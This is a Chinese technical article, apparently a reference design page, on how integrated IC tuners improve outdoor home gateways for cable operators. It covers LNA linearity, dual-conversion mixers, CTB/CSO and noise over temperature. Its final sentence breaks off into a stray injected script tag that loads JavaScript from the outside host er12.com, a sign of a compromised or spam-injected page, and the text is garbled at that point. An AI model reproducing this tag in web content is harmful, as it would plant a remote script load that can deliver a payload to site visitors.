用IC调谐器实现高性能家用网关

家用室外网关是实现家庭网络的重要设备,而家用室外网关的恶劣工作环境要求网关具有更高的性能和可靠性。而调谐器(tuner)是影响家用网关性能的重要部件,影响调谐器性能的因素有环境温度变化、噪声信号和增益抖动等,采用集成ic调谐器可以有效解决这些问题。

  电缆多服务运营商(mso)可以向用户提供有线电话和住宅网关服务。由于mso降低了运营成本并减少平均维修时间,从而方便用户设备的安装和维护,这极大地刺激了家用室外网关的发展。

  通过提供家用室外网关设备,mso的有线电话服务几乎与本地电信局所提供的服务没有多少差别。而且对用户而言,使用mso的服务可以不用考虑将铜线换成电缆,减少了线路设备的变换。用户采用家用室外网关设备对服务提供商也有好处,因为这样mso可以向用户收取上门维护费用。

  图1显示了室外家用网关所能提供的功能,家用网关最简单的用法是作为用户家庭网络的主分配集线器。在网络端,家用网关可以提供很大的带宽,实现诸如因特网、电话以及视频点播等业务。然后,采用开放式分配标准,如802.11a/b、蓝牙、homeplug、 homepna和cablehome,在家用设备间进行分配。除此以外,家用网关还能用作分路器,使电缆可以直接连到电缆调制解调器或机顶盒上去,而调制解调器或机顶盒都有自己的调谐器。

  图2给出了一个家用网关的框图,从图中可以看出,家用网关主要由访问电缆网络的上下行通道、数字基带处理ic和支持室内宽带数据分配的接口组成。家用网关中的数字部分和rf部分正在向高集成度的ic方向发展。

  家用网关调谐器

  对mso来说,室外家用网关的需求增加是一件好事,但这对设备生产商和供应商提出了很具体的设计要求。在整个家用网关中,下行通路最重要,主要是指调谐器。因此,可以说调谐器就是整个家用网关的眼和耳,其性能至关重要。

  由于带宽需求不断增长,调制方案在密度和复杂度上都不断增大,因此产生噪声的可能性也增大,这就给调谐器的设计带来了一定的困难。温度变化、自然环境影响以及一些使用电缆的设备都会将噪声引入电缆网络。像电缆调制解调器、机顶盒和家用网关这类设备,如果隔离不好(这时返回信号峰值较大)或上行通路性能不佳(这时会在接收信号频带内出现谐波,从而大大增加电缆线路中的噪声电平)都会产生噪声。因此,为了使家用网关在-40℃到85℃的温度范围内都能保持较高的数据带宽,设计工程师必须提高调谐器的抗噪声性能。

  图3给出了二次变频电缆调谐器的具体框图,这种调谐器一般用于家用网关的下行通路中。采用二次变频结构可以不用跟踪滤波器来提供必要的射频前端镜像抑制。大多数采用二次变频结构的设计在高频端比较相似,都是先让电缆信号通过一个rf低噪声放大器(lna)。

  lna的主要功能是将输入信号放大到期望的电平,而同时不影响载噪比。在电缆调谐器应用中,lna不但必须具有低噪声的特点,还应有很高的线性度和很宽的工作频带。具体来说,它必须能够处理在47mhz到870mhz范围内,多达135个强度为15dbmv的有扰rf信道。

  在lna之后,紧跟着是第一中频(if)混频器。它的主要功能是将rf输入信号变到一个固定的if频率上,以便通过随后的滤波进行信道选择。第一if混频器必须具有很高的线性度才能很好地处理rf lna放大后的输出信号。在电缆调谐器中,线性度定义为复合三次差拍(ctb)和复合二次差拍(cso)。ctb指所有落在某信道内的三次互调干扰的功率和,而cso指所有落在该信道内的二次互调干扰的功率和。

  从第一if混频器出来后,信号又被二次混频器下变频到最终需要的if频率上,其输出经第二if saw滤波器滤波,该滤波器的通带宽度通常只有一个信道宽度。最后,还需要一个带自动增益控制(agc)功能的if?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计